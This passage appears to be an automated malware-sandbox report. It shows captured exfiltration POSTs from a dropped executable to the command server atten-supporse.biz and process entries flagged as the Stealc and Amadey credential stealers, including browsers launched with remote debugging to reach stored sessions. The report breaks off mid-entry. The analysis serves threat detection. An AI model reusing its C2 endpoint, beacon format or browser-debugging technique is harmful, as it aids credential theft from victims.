2024-12-10 01:51:57 UTC	1017	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:51:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sbsmhq95q5dl2bledkjvs703c0; expires=Fri, 04-Apr-2025 19:38:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ym32rGu9qOBxJlidaNEL07G91Wp5WWQ9jOEqemUc%2FYHvy1e2BwWKsxzDC2g6y70OQ500grZ7Maxdm11AEfEXNaTaNyKtaX9jPGkxN5QKCDD5VwG%2BaloOPYpikudO7JJW3LkiA9U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef997bf7e8542f5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1576&min_rtt=1568&rtt_var=605&sent=14&recv=24&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21474&delivery_rate=1784841&cwnd=195&unsent_bytes=0&cid=7873240d477e5de5&ts=791&x=0"
2024-12-10 01:51:57 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 01:51:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	50016	104.21.16.1	443	5080	C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:52:00 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=W3HWQZRIEZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1260 Host: atten-supporse.biz
2024-12-10 01:52:00 UTC	1260	OUT	Data Raw: 2d 2d 57 33 48 57 51 5a 52 49 45 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 38 37 45 43 41 41 43 32 41 37 41 34 41 31 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 57 33 48 57 51 5a 52 49 45 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 57 33 48 57 51 5a 52 49 45 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 57 33 48 57 51 5a 52 49 45 5a 0d 0a 43 6f Data Ascii: --W3HWQZRIEZContent-Disposition: form-data; name="hwid"9087ECAAC2A7A4A123D904AF30EFEBBC--W3HWQZRIEZContent-Disposition: form-data; name="pid"1--W3HWQZRIEZContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--W3HWQZRIEZCo
2024-12-10 01:52:01 UTC	1022	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:52:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l2c7icppfiae7ii09f0rkja8q7; expires=Fri, 04-Apr-2025 19:38:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DPrmnolp%2B5Lt3VzNAuhL%2F16%2BKxB4RLurWhkKRqM3o6E5KG5dxIYFNu%2FtGOPma4GziSq5iyajUxzWPFBzGFC2fdZdqGnD3V73UajZ821%2B5IThDiPYoCkmgbu6C%2ByEsTZYnNMKzPw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef997d67fc28cd7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1838&min_rtt=1828&rtt_var=706&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2171&delivery_rate=1527995&cwnd=237&unsent_bytes=0&cid=c7750d66d50e1a84&ts=790&x=0"
2024-12-10 01:52:01 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 01:52:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	50029	104.21.16.1	443	5080	C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:52:05 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=A5ZU525PFRP1AJW8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 567153 Host: atten-supporse.biz
2024-12-10 01:52:05 UTC	15331	OUT	Data Raw: 2d 2d 41 35 5a 55 35 32 35 50 46 52 50 31 41 4a 57 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 38 37 45 43 41 41 43 32 41 37 41 34 41 31 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 41 35 5a 55 35 32 35 50 46 52 50 31 41 4a 57 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 41 35 5a 55 35 32 35 50 46 52 50 31 41 4a 57 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --A5ZU525PFRP1AJW8Content-Disposition: form-data; name="hwid"9087ECAAC2A7A4A123D904AF30EFEBBC--A5ZU525PFRP1AJW8Content-Disposition: form-data; name="pid"1--A5ZU525PFRP1AJW8Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-12-10 01:52:05 UTC	15331	OUT	Data Raw: c5 ef 23 16 c9 b9 1a e7 46 a2 f5 0f 64 41 75 05 be fb 09 fd 81 05 9a e4 04 d0 ac 30 70 19 04 fe 2a ad 18 44 82 17 f6 52 b5 b3 ad c4 ea da 5b 33 16 e9 fe bc bf 5f 08 82 8f bf 2b cb 5f a9 c1 38 0f 0f ea 79 4b fe 8c f1 ff 42 6a d2 97 3d 3b 11 26 a5 fd 2f bf fb 8f 54 fb 79 fd 72 7f ee cf 0f f4 aa f0 40 76 45 9a ee 2c ba c2 4a 2e b2 1a 77 fe 07 50 9a 1e ff bf db 4d fe ef 03 3c 44 07 e0 cc 14 05 5a 09 84 7e 43 58 b0 f1 41 fb 68 46 4d 26 28 8c 77 12 bd d0 d0 6f 17 92 fd 98 fb 33 46 08 e9 4f 65 bd 4e db 11 00 52 8d b4 60 78 7c b0 17 ec 8c 81 1e 7b 43 fa ae ec 3d 3d cd c1 18 77 5a a3 3c ee f8 aa b3 1c ea 72 85 73 c7 6e db bc 05 d4 12 29 01 e1 f6 51 89 c2 4c 5f f3 d8 43 ed 9c 48 3a 3a 89 eb 75 2f 45 f4 08 e7 7a 3b 0a 02 bf 5f 99 4e ee a7 35 4e 9f a2 73 7b 7e 50 43 Data Ascii: #FdAu0p*DR[3_+_8yKBj=;&/Tyr@vE,J.wPM<DZ~CXAhFM&(wo3FOeNR`x\|{C==wZ<rsn)QL_CH::u/Ez;_N5Ns{~PC
2024-12-10 01:52:05 UTC	15331	OUT	Data Raw: 6f ed 06 c8 9d 11 a3 5b 0f 6a d6 de e5 8d 6c 4f 67 2e ff a9 5b b0 6a ed 12 85 bd 60 bf 8b 14 60 21 00 ee 50 d5 c3 e5 d1 00 1f 62 c2 a3 95 78 8d 1c d1 bd 0c 4f b1 b9 f6 91 c4 9f 29 55 36 a2 32 f3 3a d4 39 ab 11 6c 8e e2 b2 bf d1 76 6e 08 75 de d0 0f 41 df 25 f8 a4 3a 56 aa 61 e1 97 11 e3 99 7d 49 78 f6 f3 0a 7f 0b 6d 90 56 1a 66 89 a0 e5 15 22 00 5b 0f bb 33 28 cc 7a 00 e8 56 06 ff 9b 64 e7 80 a5 1f 20 b3 10 e4 7e 49 39 78 b6 89 22 c8 75 7b 92 ff df be ed f2 a9 e2 c9 e6 0a 90 00 90 44 de f3 b9 cf 13 07 22 bb 34 64 50 90 00 eb 83 b8 e8 a4 48 07 70 de 09 67 29 8e 48 3b 40 87 42 2f 80 81 c7 d5 4c 8f 62 8b 82 57 cd f9 97 4e dd 9b 87 5d 30 58 93 6d bb 2b bb af 20 6e a8 cb 80 07 98 a5 7b a3 85 69 0e d9 a8 6e 33 38 26 68 36 22 3d 65 48 db 51 c5 58 c6 47 bd f9 ae Data Ascii: o[jlOg.[j``!PbxO)U62:9lvnuA%:Va}IxmVf"[3(zVd ~I9x"u{D"4dPHpg)H;@B/LbWN]0Xm+ n{in38&h6"=eHQXG
2024-12-10 01:52:05 UTC	15331	OUT	Data Raw: 6b fc 41 d3 3e c2 ac 15 c3 47 c4 e9 2c 1d 42 78 ec 3d 22 e3 da bf cb 40 dd 76 0e 1f f9 a8 bc 9e e5 92 10 ff 4b 03 a9 e1 33 88 8e 51 e8 ce d0 30 5b fd 25 6f c7 4b b8 32 91 3a 91 66 59 a3 9e 12 ee d2 e9 3a 76 69 2b d9 57 a4 1d a3 f1 a7 0f 4b ec e6 78 2a 88 1d 49 4d 63 79 d4 ee 4e f7 70 76 8a d8 21 b2 69 a1 82 7c 55 2b 72 f5 0c 5d 15 b5 63 4f 6a 62 b2 3a 6b 62 66 be 9a 95 c9 20 4f 34 a4 ff c5 85 0f a1 fa 13 bf 6d d9 0f 32 d2 65 c2 2f 97 09 d4 57 6e 31 d7 47 c6 62 66 f8 a9 ed 84 af 0d 67 bf 6e 76 7c d1 d8 77 4b 92 96 ba f4 2a 2d 3d c4 0c 81 80 a0 98 58 99 02 1b c4 85 6b 0b 28 72 18 04 31 65 c0 55 ac ae 24 44 d4 d2 28 50 7f 68 72 fd fc a8 e9 9e a3 a0 97 1f a3 9a ca 31 cf 07 19 14 ea e5 1f a6 15 e1 5f f5 73 4a ff f4 35 d4 b9 fd 41 1e 74 d5 61 3f ac 67 3d db f3 Data Ascii: kA>G,Bx="@vK3Q0[%oK2:fY:vi+WKxIMcyNpv!i\|U+r]cOjb:kbf O4m2e/Wn1Gbfgnv\|wK-=Xk(r1eU$D(Phr1_sJ5Ata?g=
2024-12-10 01:52:05 UTC	15331	OUT	Data Raw: df 8e f1 bf 4b 32 37 f8 58 06 7e 9c 22 98 83 02 3c 28 e8 14 1f f5 7a 03 12 17 f1 06 82 ed 88 aa cf 52 e4 cc 90 b8 ae 56 5b 2e c0 c3 29 33 07 c9 39 55 52 bd bc 6b ec 20 05 3a 8a a2 fb e1 55 42 3c 5e 86 af 24 0f 5f 67 48 13 e8 ba 99 ef cf 8c be 1a 6d c6 84 15 de 56 b9 f8 a8 24 e2 33 5a 77 72 16 99 53 04 17 fe c1 87 40 97 bb 79 a8 d8 d6 8c 2a 01 41 68 0c 53 8e 8e 40 91 55 11 3f 6f 16 98 07 1c 2f 39 ad d1 1c e2 b7 1e 6d 4f 6e b5 e9 fe 02 11 d0 f7 c5 41 c7 af ec 35 a0 1c 4d b9 d7 ea ea 44 5b e9 d4 d5 70 db ea 9b 56 77 56 30 49 af c3 b7 f0 46 e9 ca c0 56 c5 bf 14 c2 80 40 2e 68 d7 06 03 c5 0f ba 66 b8 9b 14 9c 15 80 fc e8 c8 a0 8d c2 f7 16 8e d2 a1 37 f5 56 03 e1 9e 7f 27 33 ec 0b 2d f9 39 76 e0 fa 69 02 16 ed ba c2 0d 29 38 90 00 29 16 21 c2 8f d8 f9 b9 1f 83 Data Ascii: K27X~"<(zRV[.)39URk :UB<^$_gHmV$3ZwrS@y*AhS@U?o/9mOnA5MD[pVwV0IFV@.hf7V'3-9vi)8)!
2024-12-10 01:52:05 UTC	15331	OUT	Data Raw: 7c 1b d6 1e 22 d6 23 69 a3 85 3b 66 3e f7 53 fe 14 ca 0c 78 3b 47 05 5f 7b 34 aa 31 40 e2 e0 13 86 e4 9a b5 fe 36 23 bb 04 e2 28 e7 59 6a 9c 8f 34 e3 5b db a8 ad a9 59 6a 0b 6a 99 66 e7 04 2f a5 47 a5 0b 4c 3e 62 fc ac 46 f4 ff 59 4a 5f 4c a5 95 6b bc a3 4a 68 29 db d6 23 db ac ce 48 45 d1 35 4a e2 57 1c fd 71 cb 8a 7d a2 95 95 62 b6 d2 40 42 b6 88 48 b2 f4 db 89 af 1f 0b 5b 78 25 3f 15 c3 80 5d ab 79 eb db bd f4 5b dc 17 8e 8d b5 61 8c e9 ad 6f 95 f0 34 ae 43 1f 76 e2 78 28 b3 aa 24 1e ca df 57 25 f1 35 44 7c 67 7f fe 53 a8 ce d8 19 57 f7 be 97 e0 4b 3a ea bb d5 ed e6 9c 26 f9 70 4d 12 c5 f8 bb 65 e1 5b 70 c5 96 dd 06 33 c7 32 44 7c 24 ee 12 b8 32 9c 88 fa 48 be 70 7a 22 53 1d 0f cd c6 8c da e6 d4 44 71 dd 23 52 38 1a e7 59 e6 10 42 c8 c8 81 3c 85 cd ba Data Ascii: \|"#i;f>Sx;G_{41@6#(Yj4[Yjjf/GL>bFYJ_LkJh)#HE5JWq}b@BH[x%?]y[ao4Cvx($W%5D\|gSWK:&pMe[p32D\|$2Hpz"SDq#R8YB<
2024-12-10 01:52:05 UTC	15331	OUT	Data Raw: 91 c1 9a 03 80 30 a1 c8 fa 51 2d 25 62 b4 da a7 de be 69 b2 59 32 49 8d ba 69 f1 68 75 7e 60 66 75 bb bc 66 bb 4f 35 81 d1 cd cd 67 88 76 56 87 dc c0 01 b3 64 43 41 b1 17 62 e0 47 54 96 4a dc 00 43 0b 44 4c ed 2d 3f 8b 03 3b 44 50 b2 81 57 5b b2 8f 9b ca da d3 67 4c 48 77 03 6c 2b 57 b3 97 f3 f4 b3 b8 2b ae db 2f 2f 43 60 7d f6 6f de d9 bf 88 40 c7 00 c9 10 3a dd c9 3d 0f 47 13 38 8b 8f 67 db 89 27 47 4e cf 51 34 71 b7 97 d6 c2 3b 25 2f 9c 71 be 9f 63 81 17 a9 5c 5a be 19 c0 cf b9 2b 77 5b e6 98 90 d5 97 8b 5a cb ce dc ab 8f 1a 3d 75 46 37 93 43 07 7b 46 d0 85 d6 17 7c 6b 6d 72 c7 b7 e4 1f f4 2c 7c 84 90 e2 35 80 62 8d af fd 08 d9 8f 8d b5 d4 69 60 18 da b5 02 b6 a1 b3 c8 ff 2e 41 8c 77 d9 b9 ec 48 15 69 78 2c a3 09 f7 3f d0 c5 04 4c fc 48 cd 19 27 f8 0e Data Ascii: 0Q-%biY2Iihu~`fufO5gvVdCAbGTJCDL-?;DPW[gLHwl+W+//C`}o@:=G8g'GNQ4q;%/qc\Z+w[Z=uF7C{F\|kmr,\|5bi`.AwHix,?LH'
2024-12-10 01:52:05 UTC	15331	OUT	Data Raw: 26 0a 05 e3 49 2e 22 23 df ff dd 3e 03 43 37 f7 67 f2 16 e0 d3 9e 7f 86 e4 2d 7f 17 26 32 d1 b0 00 86 7f 51 06 dd 35 31 39 ef c6 b2 1d 88 d1 57 d2 82 4c c4 fb 4a a7 cf 37 b8 2a 67 cf 4f a4 9b 38 28 5e 56 7e ae 3f af d6 e1 96 60 5b af 24 1f a1 7b 59 38 89 a7 09 f9 85 36 12 b6 b7 9c 76 99 b4 4c 1c 09 ef c7 07 b9 43 d9 95 ab 6a e5 3f b1 c5 8f 23 c7 ee 9b e9 47 f0 40 6f 86 ba 47 46 54 e9 5f 89 dc cc a0 d2 67 7e 7f 4a bc bf 45 66 a8 06 bd 91 24 d3 7b c5 05 bb 7f 67 da 4a bc 3f 5d 5e 49 4f 11 24 fb 9c fe fd e7 6e 08 08 76 f6 f3 61 c0 23 e5 cc c7 ae c8 ec 44 ea ed 79 4d 76 8d 38 d7 d3 bf ec 49 9d 77 c5 0d 9e 96 c3 ea d1 57 fa 96 c7 4c 21 bb e3 ee f6 d7 b9 ff 7e af 78 1c a5 d1 2d 59 27 08 ef e5 78 33 58 18 dc ad 55 f1 70 fc f9 ad ec 30 e3 48 09 7d d4 6a 6d 2d d2 Data Ascii: &I."#>C7g-&2Q519WLJ7*gO8(^V~?`[${Y86vLCj?#G@oGFT_g~JEf${gJ?]^IO$nva#DyMv8IwWL!~x-Y'x3XUp0H}jm-
2024-12-10 01:52:05 UTC	15331	OUT	Data Raw: 82 bb 86 73 db 68 47 49 1e b0 d2 04 77 17 21 ed 3a 78 cd c3 ba 21 d6 47 d7 fa 6e 6c d6 68 e6 f1 07 ba 1e 5f 6d b4 8d 1d 65 3c 50 94 6f ab 21 7a 8c 1d c6 45 ab 76 01 ee e4 7c d4 49 3c 5c 74 bb 63 ae 9e 6d e1 9e 9d 88 3b b0 53 1e 61 be c2 bc c6 83 a8 2a 64 e5 cb 9f e3 a4 91 52 08 89 e3 c2 5f c6 e9 fa 27 8e 8b 68 38 c2 b2 73 57 c7 6c 23 08 a3 b5 02 dc 5b c0 e6 ab b1 04 40 70 de 8c 5a a3 2d 08 b0 8b b7 48 f6 f1 c8 df 6b 27 6d b3 d1 31 6b e1 76 66 f5 77 31 94 b4 0d 4c cc f8 90 2e 46 ab 15 91 90 44 6c 65 22 59 c8 d9 9f 7f e3 e4 87 f9 3e 7e 27 1f 8f 8d 32 a3 30 9f 89 33 ce 61 f3 08 c5 65 5b 89 ca 4b 5f 27 35 db 1b 57 15 75 5e ed a0 a2 22 6e 4b 11 fa c2 df 1d c6 7b 02 d8 5f e4 d0 d1 56 e6 94 7e db cf 56 d2 93 5d 32 f7 cd 55 26 cf f5 e4 92 3b 2a 39 1f 8f e9 d2 48 Data Ascii: shGIw!:x!Gnlh_me<Po!zEv\|I<\tcm;SadR_'h8sWl#[@pZ-Hk'm1kvfw1L.FDle"Y>~'203ae[K_'5Wu^"nK{_V~V]2U&;9H
2024-12-10 01:52:05 UTC	15331	OUT	Data Raw: 9e 5f bb 79 8a 74 8e 1f e4 93 e8 e6 0a 70 0d ad 8e ce c9 8f 5b b9 08 fd ef b8 45 5e 99 f5 11 8f 7f 7b 6b fd db e6 d2 cf 5d 80 b7 da 04 20 61 01 e6 9d 7b dc 8b 03 16 b3 a9 8c 22 d1 e1 ac 0b 66 2f ea 01 b5 24 89 5a 2d 06 6e ec b4 cb a9 f7 f2 6a e0 19 93 1d ba 18 f0 bc 53 4c 3e a7 7a 9a e3 f6 a4 b9 f8 08 e7 c6 f7 58 29 78 2f eb 40 6a 8c 04 c0 77 e0 18 38 02 be 1b 05 cb 6e 7d d1 fe d2 c2 cb 74 a6 11 d1 e5 ce 16 97 2c 50 b0 6e 6c a7 70 4b 9e e6 31 60 69 91 dd 50 af b2 16 92 dc 82 24 96 a3 54 7b dc 90 5a ca 4a 7d 54 75 96 aa bc d0 fd 45 17 04 a9 92 03 b6 24 c0 87 75 33 41 43 99 a9 57 c5 7c 79 98 c5 cc e3 d1 1b a7 de 60 af 0c 35 a0 75 b7 e8 21 fd 3d 26 f9 e7 4a 34 93 e0 08 29 d0 db 80 07 c4 7c 80 12 af 3e 40 57 a2 29 25 9b 28 de d4 66 ee 8d 32 12 04 ab f6 6e f5 Data Ascii: _ytp[E^{k] a{"f/$Z-njSL>zX)x/@jw8n}t,PnlpK1`iP$T{ZJ}TuE$u3ACW\|y`5u!=&J4)\|>@W)%(f2n
2024-12-10 01:52:08 UTC	1020	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:52:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2jt7f782ksal49mo2i8588a6f2; expires=Fri, 04-Apr-2025 19:38:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TZ18Ge5SLrWw0v0DYUg%2BT61fWpfYcE90JtnWAyLeUHpC9BqU%2Fv54eLY35PavQU8BfUmosbhyAtwqtmhcAQM2uwgaOB4xrJqBH4FPQpoO1u9cJpDir3TVlyAogKiwRuOG6XRu5s8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef997f51b980c7e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1562&min_rtt=1508&rtt_var=604&sent=293&recv=590&lost=0&retrans=0&sent_bytes=2845&recv_bytes=569678&delivery_rate=1936339&cwnd=77&unsent_bytes=0&cid=78b507431594362f&ts=2283&x=0"

Target ID:	0
Start time:	20:49:57
Start date:	09/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x1e0000
File size:	1'798'144 bytes
MD5 hash:	0BD6FEAB9EC3FAA844BDCDCE20BB139A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2593553859.00000000002B4000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2048185134.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2593553859.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2604363979.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:50:06
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:50:06
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=2188,i,15960118764886269658,6532933888206594195,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:50:16
Start date:	09/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:50:18
Start date:	09/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2456 --field-trial-handle=2064,i,2810652409012286938,13931137755931519812,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	20:50:18
Start date:	09/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	20:50:18
Start date:	09/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2124,i,13202406823747030599,15920737629403327339,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	20:50:51
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\JKECGDBFCB.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	20:50:51
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	20:50:51
Start date:	09/12/2024
Path:	C:\Users\user\Documents\JKECGDBFCB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\JKECGDBFCB.exe"
Imagebase:	0x510000
File size:	3'293'184 bytes
MD5 hash:	4F2646500156298BD82C572E6C8E4062
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000002.2623989684.0000000000511000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	20:50:53
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xd30000
File size:	3'293'184 bytes
MD5 hash:	4F2646500156298BD82C572E6C8E4062
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000002.2649996256.0000000000D31000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	20:50:53
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
